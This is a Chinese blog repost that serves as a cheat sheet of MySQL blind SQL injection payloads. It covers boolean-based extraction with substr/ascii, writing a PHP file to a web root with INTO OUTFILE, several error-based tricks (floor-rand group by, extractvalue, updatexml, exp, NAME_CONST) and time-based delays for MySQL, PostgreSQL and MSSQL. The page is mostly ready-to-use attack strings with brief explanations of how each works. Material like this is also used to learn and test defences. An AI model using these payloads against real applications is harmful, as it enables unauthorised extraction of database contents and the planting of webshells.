博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
sql盲注及其相关方法
阅读量:5940 次
发布时间:2019-06-19

本文共 2230 字,大约阅读时间需要 7 分钟。

Sql注入过程数据(后台数据不能回显到页面)不回显采用方法

1:构造逻辑判断

▲left(database(),1)>’s’             //left()函数

▲and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>190                      //substr()函数,ascii()函数

▲ascii(substr((select database()),1,1))=98

▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23                  //ORD()函数,MID()函数

 

2:利用  into outfile直接上传php代码

▲Select version() into outfile “c:\\phpnow\\htdocs\\test.php”

▲into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16进制文件

原理参考:http://www.cnblogs.com/lcamry/p/5504204.html

 

3:错误提示,构造错误的payload让信息通过错误提示回显出来。

▲Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;

//explain:此处有三个点,一是需要concat计数,二是floor,取得0 or 1,进行数据的重复三是group by进行分组,但原理解释不是很通,大致原理为分组后数据计数时重复造成的错误

可以简化成如下的形式。

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

 

如果关键的表被禁用了,可以使用这种形式

 

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

 

如果rand被禁用了可以使用用户变量来报错

 

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

 

▲select exp(~(select * FROM(SELECT USER())a))         //double数值类型超出范围

  //Exp()为以e为底的对数函数;版本在5.5.5及其以上

▲select !(select * from (select user())x -ps:这是减号~0  

 //bigint超出范围;~0是对0逐位取反,很大的版本在5.5.5及其以上

extractvalue(1,concat(0x7e,(select @@version),0x7e))  //mysqlxml数据进行查询和修改的xpath函数,xpath语法错误

updatexml(1,concat(0x7e,(select @@version),0x7e),1)   //mysqlxml数据进行查询和修改的xpath函数,xpath语法错误

select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;

//mysql重复特性,此处重复了version,所以报错

4:延时注入(逻辑判断回显结果一样,无法通过回显判断,可以利用延时进行判断)

▲If(ascii(substr(database(),1,1))>115,0,sleep(5))%23  条件为假,执行sleep

▲UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE(‘MSG’,’by 5 seconds’)),null) FROM (select database() as current) as tb1;

   //BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击

此处配置一张《白帽子讲安全》图片

Mysql

BENCHMARK(100000,MD5(1))  or sleep(5)

Postgresql

PG_SLEEP(5)   OR GENERATE_SERIES(1,10000)

Ms sql server

WAITFOR DELAY ‘0:0:5’

转载于:https://www.cnblogs.com/lcamry/p/sqlmangzhu.html

你可能感兴趣的文章
《Python硬件编程实战》——2.8 在Mac中安装Python
查看>>
《iOS应用开发指南——使用HTML5、CSS3和JavaScript》——导读
查看>>
小测一下fastjson的速度(纯娱乐)
查看>>
如何做618数据复盘?你需要掌握这8大思路
查看>>
《ANSYS FLUENT 16.0超级学习手册》——2.5 FLUENT 16.0的基本操作
查看>>
深入理解Spark:核心思想与源码分析. 3.9 启动测量系统MetricsSystem
查看>>
讲给普通人听的分布式数据存储
查看>>
《C++面向对象高效编程(第2版)》——3.13 采用语义
查看>>
《 短文本数据理解》——2.5小结
查看>>
如何编写一个全新的 Git 协议
查看>>
马云携阿里17位创始人及合伙人捐赠浙大一院5.6亿,杭州渐成中国硅谷
查看>>
《libGDX移动游戏开发从入门到精通》一第2章 libGDX的架构分析
查看>>
《配置管理最佳实践》——2.10 建立构建过程
查看>>
《C++入门经典(第5版•修订版)》——2.6 问与答
查看>>
PLM调研第二天
查看>>
《精通Linux设备驱动程序开发》——1.5 Linux发行版
查看>>
《术以载道——软件过程改进实践指南》—第1章1.3节如何实施CMMI
查看>>
Harris’s Linked List
查看>>
(流式、lambda、触发器)实时处理大比拼 - 物联网(IoT)\金融,时序处理最佳实践
查看>>
什么Linux服务器最适合你?
查看>>